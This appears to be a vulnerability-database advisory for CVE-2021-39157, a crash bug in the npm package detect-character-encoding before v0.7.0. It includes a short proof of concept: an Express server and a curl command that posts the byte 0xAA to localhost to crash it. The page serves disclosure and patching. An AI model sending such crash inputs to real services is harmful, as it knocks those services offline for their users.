Improper Handling of Exceptional Conditions in detect-character-encoding
Impact
In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.
Patches
The problem has been patched in detect-character-encoding v0.7.0.
CVSS score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C
Base Score: 7.5 (High) Temporal Score: 7.2 (High)
Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.
Proof of concept
const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");
const app = express();
app.use(bodyParser.raw());
app.post("/", (req, res) => {
const charsetMatch = detectCharacterEncoding(req.body);
res.end(charsetMatch.encoding);
});
app.listen(3000);printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | detect-character-encoding | < 0.7.0 | 0.7.0 |
References
- https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr
- https://nvd.nist.gov/vuln/detail/CVE-2021-39157
- https://github.com/sonicdoe/detect-character-encoding/issues/15
- https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a
- https://github.com/sonicdoe/detect-character-encoding
- https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-755- Platform
- npm
- Package
detect-character-encoding- Disclosed
- 25.08.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-jqfh-8hw5-fqjr - CC BY 4.0
Vulnerability history: detect-character-encoding
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 08.2021 09.2021
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
Disclosures per year
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Improper Handling of Exceptional Conditions in detect-character-encoding this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.